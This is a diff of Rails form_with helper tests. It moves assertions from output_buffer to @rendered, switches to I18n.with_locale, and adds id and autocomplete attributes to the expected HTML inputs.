@@ -851,29 +1110,11 @@ def test_form_with_label_error_wrapping_block_and_non_block_versions
       "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
     end
 
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_with_with_namespace
-    skip "Do namespaces still make sense?"
-    form_for(@post, namespace: "namespace") do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected = whole_form("/posts/123", "namespace_edit_post_123", "edit_post", method: "patch") do
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
-      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
-    end
-
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_submit_with_object_as_new_record_and_locale_strings
-    with_locale :submit do
+    I18n.with_locale :submit do
       @post.persisted = false
       @post.stub(:to_key, nil) do
         form_with(model: @post) do |f|
@@ -884,13 +1125,13 @@ def test_submit_with_object_as_new_record_and_locale_strings
           "<input name='commit' data-disable-with='Create Post' type='submit' value='Create Post' />"
         end
 
-        assert_dom_equal expected, output_buffer
+        assert_dom_equal expected, @rendered
       end
     end
   end
 
   def test_submit_with_object_as_existing_record_and_locale_strings
-    with_locale :submit do
+    I18n.with_locale :submit do
       form_with(model: @post) do |f|
         concat f.submit
       end
@@ -899,12 +1140,12 @@ def test_submit_with_object_as_existing_record_and_locale_strings
         "<input name='commit' data-disable-with='Confirm Post changes' type='submit' value='Confirm Post changes' />"
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
   def test_submit_without_object_and_locale_strings
-    with_locale :submit do
+    I18n.with_locale :submit do
       form_with(scope: :post) do |f|
         concat f.submit class: "extra"
       end
@@ -913,12 +1154,12 @@ def test_submit_without_object_and_locale_strings
         "<input name='commit' class='extra' data-disable-with='Save changes' type='submit' value='Save changes' />"
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
-  def test_submit_with_object_and_nested_lookup
-    with_locale :submit do
+  def test_submit_with_object_which_is_overwritten_by_scope_option
+    I18n.with_locale :submit do
       form_with(model: @post, scope: :another_post) do |f|
         concat f.submit
       end
@@ -927,7 +1168,22 @@ def test_submit_with_object_and_nested_lookup
         "<input name='commit' data-disable-with='Update your Post' type='submit' value='Update your Post' />"
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
+    end
+  end
+
+  def test_submit_with_object_which_is_namespaced
+    blog_post = Blog::Post.new("And his name will be forty and four.", 44)
+    I18n.with_locale :submit do
+      form_with(model: blog_post) do |f|
+        concat f.submit
+      end
+
+      expected = whole_form("/posts/44", method: "patch") do
+        "<input name='commit' data-disable-with='Update your Post' type='submit' value='Update your Post' />"
+      end
+
+      assert_dom_equal expected, @rendered
     end
   end
 
@@ -939,10 +1195,10 @@ def test_fields_with_attributes_not_on_model
     end
 
     expected = whole_form("/posts/123", method: :patch) do
-      '<input type="text" name="post[comment][dont_exist_on_model]">'
+      '<input type="text" name="post[comment][dont_exist_on_model]" id="post_comment_dont_exist_on_model" >'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_with_attributes_not_on_model_deep_nested
@@ -959,10 +1215,10 @@ def test_fields_with_attributes_not_on_model_deep_nested
     end
 
     expected = whole_form do
-      '<input name="posts[post][0][comment][1][dont_exist_on_model]" type="text">'
+      '<input name="posts[post][0][comment][1][dont_exist_on_model]" type="text" id="posts_post_0_comment_1_dont_exist_on_model" >'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields
@@ -974,10 +1230,10 @@ def test_nested_fields
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[comment][body]' type='text' value='Hello World' />"
+      "<input name='post[comment][body]' type='text' value='Hello World' id='post_comment_body' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_deep_nested_fields
@@ -994,10 +1250,10 @@ def test_deep_nested_fields
     end
 
     expected = whole_form do
-      "<input name='posts[post][0][comment][1][name]' type='text' value='comment #1' />"
+      "<input name='posts[post][0][comment][1][name]' type='text' value='comment #1' id='posts_post_0_comment_1_name' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_nested_collections
@@ -1009,11 +1265,11 @@ def test_nested_fields_with_nested_collections
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[123][title]' type='text' value='Hello World' />" \
-      "<input name='post[123][comment][][name]' type='text' value='new comment' />"
+      "<input name='post[123][title]' type='text' value='Hello World' id='post_123_title' />" \
+      "<input name='post[123][comment][][name]' type='text' value='new comment' id='post_123_comment__name' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_index_and_parent_fields
@@ -1025,25 +1281,25 @@ def test_nested_fields_with_index_and_parent_fields
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[1][title]' type='text' value='Hello World' />" \
-      "<input name='post[1][comment][1][name]' type='text' value='new comment' />"
+      "<input name='post[1][title]' type='text' value='Hello World' id='post_1_title' />" \
+      "<input name='post[1][comment][1][name]' type='text' value='new comment' id='post_1_comment_1_name' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_index_and_nested_fields
-    output_buffer = form_with(model: @post, index: 1) do |f|
+    form_with(model: @post, index: 1) do |f|
       concat f.fields(:comment, model: @post) { |c|
         concat c.text_field(:title)
       }
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[1][comment][title]' type='text' value='Hello World' />"
+      "<input name='post[1][comment][title]' type='text' value='Hello World' id='post_1_comment_title' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_index_on_both
@@ -1054,10 +1310,10 @@ def test_nested_fields_with_index_on_both
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[1][comment][5][title]' type='text' value='Hello World' />"
+      "<input name='post[1][comment][5][title]' type='text' value='Hello World' id='post_1_comment_5_title' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_auto_index
@@ -1068,10 +1324,10 @@ def test_nested_fields_with_auto_index
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[123][comment][title]' type='text' value='Hello World' />"
+      "<input name='post[123][comment][title]' type='text' value='Hello World' id='post_123_comment_title' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_index_radio_button
@@ -1082,10 +1338,10 @@ def test_nested_fields_with_index_radio_button
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[comment][5][title]' type='radio' value='hello' />"
+      "<input name='post[comment][5][title]' type='radio' value='hello' id='post_comment_5_title_hello' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_auto_index_on_both
@@ -1096,32 +1352,36 @@ def test_nested_fields_with_auto_index_on_both
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[123][comment][123][title]' type='text' value='Hello World' />"
+      "<input name='post[123][comment][123][title]' type='text' value='Hello World' id='post_123_comment_123_title' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_index_and_auto_index
-    output_buffer = form_with(model: @post, scope: "post[]") do |f|
+    form_with(model: @post, scope: "post[]") do |f|
       concat f.fields(:comment, model: @post, index: 5) { |c|
         concat c.text_field(:title)
       }
     end
 
-    output_buffer << form_with(model: @post, index: 1) do |f|
+    expected = whole_form("/posts/123", method: "patch") do
+      "<input name='post[123][comment][5][title]' type='text' value='Hello World' id='post_123_comment_5_title' />"
+    end
+
+    assert_dom_equal expected, @rendered
+
+    form_with(model: @post, index: 1) do |f|
       concat f.fields("comment[]", model: @post) { |c|
         concat c.text_field(:title)
       }
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[123][comment][5][title]' type='text' value='Hello World' />"
-    end + whole_form("/posts/123", method: "patch") do
-      "<input name='post[1][comment][123][title]' type='text' value='Hello World' />"
+      "<input name='post[1][comment][123][title]' type='text' value='Hello World' id='post_1_comment_123_title' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_a_new_record_on_a_nested_attributes_one_to_one_association
@@ -1135,11 +1395,11 @@ def test_nested_fields_with_a_new_record_on_a_nested_attributes_one_to_one_assoc
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-        '<input name="post[author_attributes][name]" type="text" value="new author" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+        '<input name="post[author_attributes][name]" type="text" value="new author" id="post_author_attributes_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
@@ -1162,12 +1422,12 @@ def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input name="post[author_attributes][id]" type="hidden" value="321" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" id="post_author_attributes_name" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" id="post_author_attributes_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one_association_using_erb_and_inline_block
@@ -1181,12 +1441,12 @@ def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input name="post[author_attributes][id]" type="hidden" value="321" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" id="post_author_attributes_name" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" id="post_author_attributes_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id
@@ -1200,11 +1460,11 @@ def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[author_attributes][name]" type="text" value="author #321" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" id="post_author_attributes_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_inherited
@@ -1218,11 +1478,11 @@ def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[author_attributes][name]" type="text" value="author #321" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" id="post_author_attributes_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_override
@@ -1236,12 +1496,12 @@ def test_nested_fields_with_an_existing_record_on_a_nested_attributes_one_to_one
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input name="post[author_attributes][id]" type="hidden" value="321" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" id="post_author_attributes_name" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" id="post_author_attributes_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
@@ -1256,12 +1516,12 @@ def test_nested_fields_with_existing_records_on_a_nested_attributes_one_to_one_a
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[author_attributes][id]" type="hidden" value="321" />' \
-      '<input name="post[author_attributes][name]" type="text" value="author #321" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" id="post_author_attributes_id" autocomplete="off" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" id="post_author_attributes_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association
@@ -1277,14 +1537,14 @@ def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_a
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" id="post_comments_attributes_0_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" id="post_comments_attributes_1_name" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" id="post_comments_attributes_1_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id
@@ -1304,14 +1564,14 @@ def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_a
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input name="post[author_attributes][id]" type="hidden" value="321" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" id="post_author_attributes_name" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" id="post_author_attributes_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" id="post_comments_attributes_1_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_inherited
@@ -1331,13 +1591,13 @@ def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_a
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" id="post_author_attributes_name" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" id="post_comments_attributes_1_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_override
@@ -1357,14 +1617,14 @@ def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_a
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[author_attributes][name]" type="text" value="author #321" />' \
-      '<input name="post[author_attributes][id]" type="hidden" value="321" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[author_attributes][name]" type="text" value="author #321" id="post_author_attributes_name" />' \
+      '<input name="post[author_attributes][id]" type="hidden" value="321" id="post_author_attributes_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" id="post_comments_attributes_1_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_using_erb_and_inline_block
@@ -1380,14 +1640,14 @@ def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_a
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" id="post_comments_attributes_0_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" id="post_comments_attributes_1_name" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" id="post_comments_attributes_1_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
@@ -1404,14 +1664,14 @@ def test_nested_fields_with_existing_records_on_a_nested_attributes_collection_a
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" id="post_comments_attributes_0_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" id="post_comments_attributes_1_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" id="post_comments_attributes_1_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_new_records_on_a_nested_attributes_collection_association
@@ -1427,12 +1687,12 @@ def test_nested_fields_with_new_records_on_a_nested_attributes_collection_associ
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="new comment" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="new comment" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="new comment" id="post_comments_attributes_1_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_existing_and_new_records_on_a_nested_attributes_collection_association
@@ -1448,13 +1708,13 @@ def test_nested_fields_with_existing_and_new_records_on_a_nested_attributes_coll
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
-      '<input name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #321" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="321" id="post_comments_attributes_0_id" autocomplete="off"/>' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="new comment" id="post_comments_attributes_1_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_an_empty_supplied_attributes_collection
@@ -1466,10 +1726,10 @@ def test_nested_fields_with_an_empty_supplied_attributes_collection
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_existing_records_on_a_supplied_nested_attributes_collection
@@ -1483,14 +1743,14 @@ def test_nested_fields_with_existing_records_on_a_supplied_nested_attributes_col
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" id="post_comments_attributes_0_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" id="post_comments_attributes_1_name" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" id="post_comments_attributes_1_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_arel_like
@@ -1504,27 +1764,33 @@ def test_nested_fields_arel_like
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" id="post_comments_attributes_0_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" id="post_comments_attributes_1_name" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" id="post_comments_attributes_1_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_label_translation_with_more_than_10_records
     @post.comments = Array.new(11) { |id| Comment.new(id + 1) }
 
-    params = 11.times.map { ["post.comments.body", default: [:"comment.body", ""], scope: "helpers.label"] }
-    assert_called_with(I18n, :t, params, returns: "Write body here") do
+    mock = Minitest::Mock.new
+    @post.comments.each do
+      expect_called_with(mock, ["post.comments.body"], default: [:"comment.body", ""], scope: "helpers.label", returns: "body")
+    end
+
+    I18n.stub(:t, mock) do
       form_with(model: @post) do |f|
         f.fields(:comments) do |cf|
           concat cf.label(:body)
         end
       end
     end
+
+    assert_mock(mock)
   end
 
   def test_nested_fields_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
@@ -1539,14 +1805,14 @@ def test_nested_fields_with_existing_records_on_a_supplied_nested_attributes_col
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" />' \
-      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" />' \
-      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #1" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="1" id="post_comments_attributes_0_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="comment #2" id="post_comments_attributes_1_name" />' \
+      '<input name="post[comments_attributes][1][id]" type="hidden" value="2" id="post_comments_attributes_1_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_on_a_nested_attributes_collection_association_yields_only_builder
@@ -1562,13 +1828,13 @@ def test_nested_fields_on_a_nested_attributes_collection_association_yields_only
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[title]" type="text" value="Hello World" />' \
-      '<input name="post[comments_attributes][0][name]" type="text" value="comment #321" />' \
-      '<input name="post[comments_attributes][0][id]" type="hidden" value="321" />' \
-      '<input name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+      '<input name="post[title]" type="text" value="Hello World" id="post_title" />' \
+      '<input name="post[comments_attributes][0][name]" type="text" value="comment #321" id="post_comments_attributes_0_name" />' \
+      '<input name="post[comments_attributes][0][id]" type="hidden" value="321" id="post_comments_attributes_0_id" autocomplete="off" />' \
+      '<input name="post[comments_attributes][1][name]" type="text" value="new comment" id="post_comments_attributes_1_name" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
     assert_equal yielded_comments, @post.comments
   end
 
@@ -1582,11 +1848,11 @@ def test_nested_fields_with_child_index_option_override_on_a_nested_attributes_c
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
-      '<input name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+      '<input name="post[comments_attributes][abc][name]" type="text" value="comment #321" id="post_comments_attributes_abc_name" />' \
+      '<input name="post[comments_attributes][abc][id]" type="hidden" value="321" id="post_comments_attributes_abc_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_with_child_index_as_lambda_option_override_on_a_nested_attributes_collection_association
@@ -1599,11 +1865,11 @@ def test_nested_fields_with_child_index_as_lambda_option_override_on_a_nested_at
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
-      '<input name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+      '<input name="post[comments_attributes][abc][name]" type="text" value="comment #321" id="post_comments_attributes_abc_name" />' \
+      '<input name="post[comments_attributes][abc][id]" type="hidden" value="321" id="post_comments_attributes_abc_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   class FakeAssociationProxy
@@ -1622,11 +1888,11 @@ def test_nested_fields_with_child_index_option_override_on_a_nested_attributes_c
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      '<input name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' \
-      '<input name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+      '<input name="post[comments_attributes][abc][name]" type="text" value="comment #321" id="post_comments_attributes_abc_name" />' \
+      '<input name="post[comments_attributes][abc][id]" type="hidden" value="321" id="post_comments_attributes_abc_id" autocomplete="off" />'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_nested_fields_index_method_with_existing_records_on_a_nested_attributes_collection_association
@@ -1636,7 +1902,7 @@ def test_nested_fields_index_method_with_existing_records_on_a_nested_attributes
       expected = 0
       @post.comments.each do |comment|
         f.fields(:comments, model: comment) { |cf|
